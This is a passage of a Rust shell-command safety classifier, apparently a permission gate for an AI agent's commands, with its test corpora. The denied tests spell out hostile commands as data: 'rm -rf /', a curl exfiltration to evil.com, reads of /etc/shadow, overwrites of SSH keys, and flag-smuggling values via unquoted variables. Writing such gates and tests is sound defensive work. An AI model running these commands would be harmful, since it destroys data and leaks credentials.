754    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
755    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
756    //
757    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
758    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
759    // invocation is a write even when the command word is inert. Propagating only `Denied` here
760    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
761    // spelled `touch ./x` did not.
762    let env_name_v = cmd
763        .env
764        .iter()
765        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
766        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
767    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
768
769    if let Verdict::Denied = sub_v {
770        return Verdict::Denied;
771    }
772
773    if cmd.words.is_empty() {
774        if cmd.env.is_empty() {
775            return Verdict::Allowed(SafetyLevel::Inert);
776        }
777        return sub_v.combine(redir_v);
778    }
779
780    let name = cmd.words[0].eval();
781
782    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
783    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
784    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
785    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
786    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
787    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
788    // run the real `ls` for the rebound name, a bypass.
789    if let Some(body) = lookup_function(&name) {
790        let Some(_resolving) = begin_resolving(&name) else {
791            return Verdict::Denied;
792        };
793        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
794            .iter()
795            .enumerate()
796            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
797            .collect();
798        return sub_v.combine(script_verdict(&body)).combine(redir_v);
799    }
800
801    if name == "eval" {
802        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
803    }
804
805    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
806    // would run is classified — a braced word must not hide a system path from the gate.
807    let tokens: Vec<Token> =
808        cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
809    if tokens.is_empty() {
810        return Verdict::Allowed(SafetyLevel::Inert);
811    }
812    if smuggles_a_flag(cmd) {
813        return Verdict::Denied;
814    }
815
816    let cmd_v = leaf_verdict(&tokens);
817    sub_v.combine(cmd_v).combine(redir_v)
818}
819
820/// Whether an operand hides a FLAG behind an unquoted expansion.
821///
822/// The word-splitting problem again, on the dimension the locus gate cannot see. One CST word
823/// becomes several arguments at run time, and when a piece starts with `-` the command's flag
824/// allowlist was simply never shown it:
825///
826/// ```text
827/// VAR="--exec rm"; fd pat $VAR        ran `rm` on every match
828/// VAR="-exec rm {} ;"; find . $VAR    deleted the tree
829/// ```
830///
831/// Splitting for LOCUS (see `locus::classify_local`) does not help here, because the danger is not
832/// where a path points — it is a capability the grammar would have refused outright.
833///
834/// This refuses rather than re-tokenizing. Re-tokenizing would be more precise, and the machinery
835/// is close at hand (`Word::expand` already turns one word into many for brace expansion) — but a
836/// bound value carries SEPARATE read and write representatives for loop variables, so feeding it
837/// back into tokenization would have to pick a face before the face is known. Refusing costs a
838/// prompt on `VAR="-rf ./sub"; rm $VAR`, which is a rare way to write a command; see TODO.md.
839///
840/// Only UNQUOTED expansions split, so `cat "$VAR"` with a spacey filename is untouched — a quoted
841/// expansion is one word to the shell too.
842fn smuggles_a_flag(cmd: &SimpleCmd) -> bool {
843    cmd.words.iter().skip(1).any(|w| {
844        // A top-level `Lit` is the unquoted case; a `DQuote` part is not split by the shell.
845        w.0.iter().any(|part| {
846            let WordPart::Lit(raw) = part else { return false };
847            if !raw.contains('$') {
848                return false;
849            }
850            let expanded = crate::pathctx::expand_vars(raw, false);
851            expanded.split([' ', '\t', '\n']).skip(1).any(|piece| piece.starts_with('-'))
852                || (expanded.split([' ', '\t', '\n']).count() > 1
853                    && expanded.starts_with('-'))
854        })
855    })
856}
857
858/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
859/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
860/// no opt-out — the engine is the default and only path.
861fn leaf_verdict(tokens: &[Token]) -> Verdict {
862    let legacy = handlers::dispatch(tokens);
863    crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
864}
865
866fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
867    if cmd.words.len() < 2 {
868        return Verdict::Denied;
869    }
870    for arg in &cmd.words[1..] {
871        if !arg_is_eval_safe(arg) {
872            return Verdict::Denied;
873        }
874    }
875    Verdict::Allowed(SafetyLevel::Inert)
876}
877
878fn arg_is_eval_safe(word: &Word) -> bool {
879    let mut found_safe = false;
880    for part in &word.0 {
881        match part {
882            WordPart::Lit(s) | WordPart::SQuote(s) => {
883                if !s.chars().all(char::is_whitespace) {
884                    return false;
885                }
886            }
887            WordPart::Escape(c) => {
888                if !c.is_whitespace() {
889                    return false;
890                }
891            }
892            WordPart::CmdSub(script) => {
893                if !script_yields_eval_safe(script) {
894                    return false;
895                }
896                found_safe = true;
897            }
898            WordPart::Backtick(raw) => {
899                let Some(script) = parse(raw) else {
900                    return false;
901                };
902                if !script_yields_eval_safe(&script) {
903                    return false;
904                }
905                found_safe = true;
906            }
907            WordPart::DQuote(inner) => {
908                if !arg_is_eval_safe(inner) {
909                    return false;
910                }
911                if has_substitution(inner) {
912                    found_safe = true;
913                }
914            }
915            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
916        }
917    }
918    found_safe
919}
920
921fn script_yields_eval_safe(script: &Script) -> bool {
922    if script.0.len() != 1 {
923        return false;
924    }
925    let stmt = &script.0[0];
926    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
927        return false;
928    }
929    let pipeline = &stmt.pipeline;
930    if pipeline.bang || pipeline.commands.len() != 1 {
931        return false;
932    }
933    let Cmd::Simple(s) = &pipeline.commands[0] else {
934        return false;
935    };
936    if !s.env.is_empty() {
937        return false;
938    }
939    // A redirect inside the substitution is allowed only if it's inert:
940    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
941    // A redirect that writes a real file is SafeWrite, not inert, so
942    // `mise activate bash > evil` is rejected — eval-safe must not gain a
943    // file-write side effect, and diverting stdout to a file is pointless here.
944    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
945        return false;
946    }
947    for w in &s.words {
948        if !word_is_plain_literal(w) {
949            return false;
950        }
951    }
952    let tokens: Vec<Token> =
953        s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
954    if tokens.is_empty() {
955        return false;
956    }
957    crate::registry::is_eval_safe_invocation(&tokens)
958}
959
960/// True iff every character of `word` is drawn from the bare-literal
961/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
962/// matching this shape consist entirely of identifier-style or
963/// path-style tokens that the shell will pass through to the
964/// substituted command unchanged at runtime.
965///
966/// Required for words inside eval-safe substitutions because the
967/// "stdout is shell-init code" trust depends on the contributor having
968/// vetted what gets passed to the tool. Restricting the alphabet to
969/// chars with no shell-expansion semantics keeps the substituted
970/// invocation static across parse-time and runtime — what you see in
971/// the source is what the tool receives.
972fn word_is_plain_literal(word: &Word) -> bool {
973    word.0.iter().all(part_is_plain_literal)
974}
975
976fn part_is_plain_literal(part: &WordPart) -> bool {
977    match part {
978        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
979        WordPart::Escape(c) => is_bare_literal_char(*c),
980        WordPart::DQuote(inner) => word_is_plain_literal(inner),
981        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
982    }
983}
984
985/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
986/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
987/// and the long-flag value form (`=`). New chars require an explicit
988/// eval-safe use case — add by extending this match, never by
989/// excluding individual hostile chars.
990fn is_bare_literal_char(c: char) -> bool {
991    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
992}
993
994pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
995    redirs.iter().all(|r| match r {
996        // `<>` opens for writing too, so it faces the same `/dev/null`-only bar as `>`.
997        Redir::Write { target, .. } | Redir::ReadWrite { target, .. } => target.eval() == "/dev/null",
998        Redir::Read { .. }
999        | Redir::HereStr(_)
1000        | Redir::HereDoc { .. }
1001        | Redir::DupFd { .. } => true,
1002    })
1003}
1004
1005/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
1006/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
1007/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
1008/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
1009/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
1010/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
1011fn is_safe_write_target(path: &str) -> bool {
1012    crate::engine::resolve::write_target_verdict(path).is_allowed()
1013}
1014
1015/// The verdict for a redirect that OPENS `target` for writing.
1016fn write_face(target: &Word) -> Verdict {
1017    let t = target.eval();
1018    if t == "/dev/null" {
1019        // Inert: no side effect, no promotion.
1020        Verdict::Allowed(SafetyLevel::Inert)
1021    } else if is_safe_write_target(&t) {
1022        Verdict::Allowed(SafetyLevel::SafeWrite)
1023    } else {
1024        Verdict::Denied
1025    }
1026}
1027
1028/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
1029/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
1030/// substitution-derived source names an unknowable file → fail-closed to Denied.
1031fn read_face(target: &Word) -> Verdict {
1032    let t = target.eval();
1033    // Keyed on the EVALUATED value rather than on "is there a substitution part", so a
1034    // substitution whose inner command declared its output locus (`< $(pwd)/f`) is gated by that
1035    // locus, while an undeclared one still fail-closes on its opaque marker.
1036    if is_opaque_value(&t) {
1037        Verdict::Denied
1038    } else {
1039        crate::engine::resolve::read_content_verdict(&t)
1040    }
1041}
1042
1043pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
1044    let mut level = Verdict::Allowed(SafetyLevel::Inert);
1045    for r in redirs {
1046        match r {
1047            Redir::Write { target, .. } => {
1048                level = level.combine(word_sub_verdict(target));
1049                level = level.combine(write_face(target));
1050            }
1051            Redir::Read { target, .. } => {
1052                level = level.combine(word_sub_verdict(target));
1053                level = level.combine(read_face(target));
1054            }
1055            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
1056            // the other face through: the write gate alone misses reading a secret, and the read
1057            // gate alone misses overwriting a file that is merely readable.
1058            Redir::ReadWrite { target, .. } => {
1059                level = level.combine(word_sub_verdict(target));
1060                level = level.combine(write_face(target));
1061                level = level.combine(read_face(target));
1062            }
1063            Redir::HereStr(word) => {
1064                level = level.combine(word_sub_verdict(word));
1065            }
1066            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
1067            // expands the body, so a substitution in it runs and is classified exactly like one in
1068            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
1069            Redir::HereDoc { body, .. } => {
1070                level = level.combine(word_sub_verdict(body));
1071            }
1072            Redir::DupFd { .. } => {}
1073        }
1074    }
1075    level
1076}
1077
1078fn has_substitution(word: &Word) -> bool {
1079    word.0.iter().any(|p| match p {
1080        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
1081        WordPart::DQuote(inner) => has_substitution(inner),
1082        _ => false,
1083    })
1084}
1085
1086#[cfg(test)]
1087mod tests {
1088    use super::*;
1089
1090    fn check(cmd: &str) -> bool {
1091        is_safe_command(cmd)
1092    }
1093
1094    #[test]
1095    fn loop_variable_inherits_the_list_locus() {
1096        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
1097        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
1098        for cmd in [
1099            "for f in *.txt; do cat $f; done",
1100            "for f in *.txt; do rm $f; done",
1101            "for f in src/*.rs; do grep foo $f; done",
1102            "for f in *.log; do sed -i s/a/b/ $f; done",
1103            "for f in a b c; do cat $f.bak; done",
1104            "for x in 1 2 3; do rm $x; done",
1105            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
1106        ] {
1107            assert!(check(cmd), "worktree loop should allow: {cmd}");
1108        }
1109        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
1110        for cmd in [
1111            "for f in /etc/*; do cat $f; done",
1112            "for f in /etc/*.conf; do rm $f; done",
1113            "for f in ~/.ssh/*; do cat $f; done",
1114            "for f in $LIST; do rm $f; done",
1115            "for f in $(find / -name x); do rm -rf $f; done",
1116            "for d in /etc; do for f in $d/x; do cat $f; done; done",
1117            // read-worst ≠ write-worst: reading must worst-case ~/notes even though the
1118            // write-worst item is /etc/hosts — a single representative would be unsound.
1119            "for f in /etc/hosts ~/notes; do cat $f; done",
1120        ] {
1121            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
1122        }
1123    }
1124
1125    safe! {
1126        grep_foo: "grep foo file.txt",
1127        jq_key: "jq '.key' file.json",
1128        base64_d: "base64 -d",
1129        ls_la: "ls -la",
1130        wc_l: "wc -l file.txt",
1131        ps_aux: "ps aux",
1132        echo_hello: "echo hello",
1133        cat_file: "cat file.txt",
1134
1135        version_go: "go --version",
1136        version_cargo: "cargo --version",
1137        version_cargo_redirect: "cargo --version 2>&1",
1138        help_cargo: "cargo --help",
1139        help_cargo_build: "cargo build --help",
1140
1141        dev_null_echo: "echo hello > /dev/null",
1142        dev_null_stderr: "echo hello 2> /dev/null",
1143        dev_null_append: "echo hello >> /dev/null",
1144        dev_null_git_log: "git log > /dev/null 2>&1",
1145        fd_redirect_ls: "ls 2>&1",
1146        stdin_dev_null: "git log < /dev/null",
1147
1148        env_prefix: "FOO='bar baz' ls -la",
1149        env_prefix_dq: "FOO=\"bar baz\" ls -la",
1150        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1151
1152        subst_echo_ls: "echo $(ls)",
1153        subst_ls_pwd: "ls `pwd`",
1154        subst_nested: "echo $(echo $(ls))",
1155        subst_quoted: "echo \"$(ls)\"",
1156        assign_subst_ls: "out=$(ls)",
1157        assign_subst_git: "out=$(git status)",
1158        assign_subst_multiple: "a=$(ls) b=$(pwd)",
1159        assign_subst_backtick: "out=`ls`",
1160
1161        assign_bare_lit: "foo=bar",
1162        assign_bare_int: "x=1",
1163        assign_bare_empty: "x=",
1164        assign_bare_dq: "x=\"foo bar\"",
1165        assign_bare_sq: "x='foo bar'",
1166        assign_bare_param: "rc=$?",
1167        assign_bare_var: "x=$y",
1168        assign_bare_dollar_var_braced: "x=${y}",
1169        assign_bare_path: "PATH=/foo",
1170        assign_bare_multiple: "a=1 b=2 c=3",
1171        assign_bare_arith: "x=$((1 + 2))",
1172        assign_in_for_body: "for i in 1 2; do x=1; done",
1173        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1174        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1175        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1176        assign_then_use: "x=1; echo $x",
1177        assign_chained_with_safe: "x=1 && ls",
1178        assign_subshell: "(x=1)",
1179        assign_in_subshell_with_cmd: "(x=1; ls)",
1180
1181        // A loop over a BOUNDED substitution. These are the positive half of the substitution
1182        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
1183        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
1184        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
1185        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1186        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1187        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1188        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1189        loop_over_pwd: "for f in $(pwd); do cat $f; done",
1190
1191        case_single_arm: "case x in x) echo a;; esac",
1192        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1193        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1194        case_last_arm_without_terminator: "case x in x) echo a; esac",
1195        case_empty_body: "case x in x) ;; esac",
1196        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
1197        case_in_substitution: "echo $(case A in *) echo a;; esac)",
1198        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1199        clobber_redirect: "ls >| out.txt",
1200        clobber_redirect_fd: "ls 1>| out.txt",
1201        readwrite_redirect: "ls <> f.txt",
1202        readwrite_redirect_devnull: "ls <> /dev/null",
1203
1204        subshell_echo: "(echo hello)",
1205        subshell_ls: "(ls)",
1206        subshell_chain: "(ls && echo done)",
1207        subshell_pipe: "(ls | grep foo)",
1208        subshell_nested: "((echo hello))",
1209        subshell_for: "(for x in 1 2; do echo $x; done)",
1210
1211        pipe_grep_head: "grep foo file.txt | head -5",
1212        pipe_cat_sort_uniq: "cat file | sort | uniq",
1213        chain_ls_echo: "ls && echo done",
1214        semicolon_ls_echo: "ls; echo done",
1215        bg_ls_echo: "ls & echo done",
1216        newline_echo_echo: "echo foo\necho bar",
1217
1218        stdin_read_from_path: "wc -l < /tmp/foo.log",
1219        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1220        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1221
1222        here_string_grep: "grep -c , <<< 'hello,world,test'",
1223        heredoc_cat: "cat <<EOF\nhello world\nEOF",
1224        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1225        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1226        heredoc_no_content: "cat <<EOF",
1227        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1228
1229        for_echo: "for x in 1 2 3; do echo $x; done",
1230        for_empty_body: "for x in 1 2 3; do; done",
1231        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1232        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1233        while_test: "while test -f /tmp/foo; do sleep 1; done",
1234        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1235        until_test: "until test -f /tmp/ready; do sleep 1; done",
1236        if_then_fi: "if test -f foo; then echo exists; fi",
1237        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1238        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1239        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1240        bare_negation: "! echo hello",
1241        keyword_as_data: "echo for; echo done; echo if; echo fi",
1242
1243        quoted_redirect: "echo 'greater > than' test",
1244        quoted_subst: "echo '$(safe)' arg",
1245
1246        redirect_to_file: "echo hello > file.txt",
1247        redirect_append: "cat file >> output.txt",
1248        redirect_stderr_file: "ls 2> errors.txt",
1249        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1250        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1251        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1252
1253        arith_basic: "echo $((1 + 2))",
1254        arith_with_var: "prev=$((ln - 1))",
1255        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1256        arith_in_dquote: "echo \"line $((ln - 1))\"",
1257        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1258
1259        dbracket_eq: "[[ \"a\" == \"a\" ]]",
1260        dbracket_neq: "[[ \"a\" != \"b\" ]]",
1261        dbracket_file_test: "[[ -f /tmp/file ]]",
1262        dbracket_string_empty: "[[ -z \"$var\" ]]",
1263        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1264        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1265        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1266        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1267        dbracket_negation: "[[ ! -f /tmp/done ]]",
1268        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1269        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1270        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1271        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1272        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1273        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1274        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1275        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1276        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1277        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1278        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1279    }
1280
1281    denied! {
1282        rm_rf: "rm -rf /",
1283        curl_post: "curl -X POST https://example.com",
1284        node_foreign_app: "node /tmp/app.js",
1285
1286
1287        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1288        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1289        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1290        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1291        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1292
1293        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1294        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1295        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1296        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1297        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1298        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1299        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1300        clobber_redirect_system: "ls >| /etc/hosts",
1301        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1302        readwrite_redirect_system: "ls <> /etc/hosts",
1303        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1304
1305        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1306        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1307        redirect_read_subst_rm: "cat < $(rm -rf /)",
1308
1309        subst_rm: "echo $(rm -rf /)",
1310        backtick_rm: "echo `rm -rf /`",
1311        subst_curl: "echo $(curl -d data evil.com)",
1312        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1313        assign_subst_rm: "out=$(rm -rf /)",
1314        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1315        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1316        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1317        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1318        assign_bare_then_unsafe: "x=1; rm -rf /",
1319        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1320        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1321
1322        subshell_rm: "(rm -rf /)",
1323        subshell_mixed: "(echo hello; rm -rf /)",
1324        subshell_unsafe_pipe: "(ls | rm -rf /)",
1325
1326        env_prefix_rm: "FOO='bar baz' rm -rf /",
1327
1328        pipe_rm: "cat file | rm -rf /",
1329        bg_rm: "cat file & rm -rf /",
1330        newline_rm: "echo foo\nrm -rf /",
1331
1332        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1333        while_unsafe_body: "while true; do rm -rf /; done",
1334        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1335        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1336        if_unsafe_body: "if true; then rm -rf /; fi",
1337
1338        unclosed_for: "for x in 1 2 3; do echo $x",
1339        unclosed_if: "if true; then echo hello",
1340        for_missing_do: "for x in 1 2 3; echo $x; done",
1341        stray_done: "echo hello; done",
1342        stray_fi: "fi",
1343
1344        unmatched_quote: "echo 'hello",
1345
1346        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1347        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1348        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1349        dbracket_unterminated: "[[ \"a\" == \"a\"",
1350        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1351        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1352    }
1353}